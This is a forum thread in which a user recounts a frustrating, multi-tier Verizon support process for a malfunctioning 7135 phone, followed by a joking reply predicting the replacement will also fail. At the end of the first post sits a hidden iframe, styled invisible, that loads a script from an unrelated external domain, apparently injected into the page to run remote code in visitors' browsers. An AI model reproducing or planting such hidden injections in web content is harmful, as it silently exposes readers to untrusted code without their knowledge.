The past couple of days my 7135 has been acting flaky, turning on and off on it's own, occasionally unable to write to SD card, contrast bug run amok etc, so today I took it to the local Verizon store in Evansville IN to get it looked at.

I explained my problem to the service tech and the first thing he said was he would have to upgrade the phone to 44.29 and "that would fix it." I had to grin and tell him I upgraded the phone to 44.29 a month ago, so that solution was out.

The tech got that dear in the headlights look and said I couldn't have 44.29 because Verizon had just shipped his store the KWPST software with which to do the upgrade this week and, of course, you had to have KWPST to upgrade the software.

The tech just had to check phone info before he would believe the phone had been upgraded. When he saw the new versions he said "your not one of our average customers, are you?" I just grinned.

Now that he had confirmed we did not have to go through the upgrade routine, he informed me Verizon had just sent out a service bulletin about the 7135 forbidding the local vendors from doing anything other than the software upgrades and he would have to call a special service number set up to handle the 7135 problems.

Now it gets funny. He called the number, explained my problem to who ever answered the call and then got in a discussion with the other end about the company e-mail that explained the new process. Apparently the folks at the "next level" had not been informed about the new process. My tech had to forward the e-mail to them before they would:
1. Make a decision if further assistance could be extended to fix the phone and:
2. Escalate the call to the "next next level" once they determined there was nothing they could do, which is what they finally decided.

So much for funny. Once the call was escalated to the third tier support level, that group also was not aware of the service bulletin and guess what, my tech had to e-mail it to them before they would address my problems. Apparently this level has to have oxygen shipped in once a week; they are so high up the engineering ladder.

Enough haranguing about Verizon. The end of the story is the last support level said they would overnight me a new phone. Once again Verizon proved that nothing simple is ever easy.

Oh, yeah. I asked my tech to cc me on the first e-mail he sent so I would have a record of the Verizon procedure required to service my phone. He said he could not send it to me, proprietary company communication don't cha know.

During this whole process I got the distinct feeling that Verizon is either revamping their entire phone repair/replacement process or that they are having an inordinate amount of problems with the 7135 and are trying to get a handle on phone replacements.

Anyway, I'm getting a new phone with a story to tell. End of saga.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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bcottun

Imagine if...

When you bought your new car that they tell you "we don't service it ,You'll have to have all that done at the Gas station." So you drive for a while in your shiny Automoklackerack, till it doesn't bounce and shake the way it should and the check fhraverpumhpin light comes on. You take it to the Gas Station and they say "filler up?" You say " no, its not bouncin' and shakin' right and this light is on"...

Its a cryin shame to have such a great device and be stuck with its shortcomings... I bet... your new phone will start bouncin' funny inside of a month, it'll shake nice for a while... but till you find someone who can FIX it... not just replace it, its gonna be honeymoon over... again.

unless... humn... Imagine if...
...

<aka.bugle> (on to the next best fix)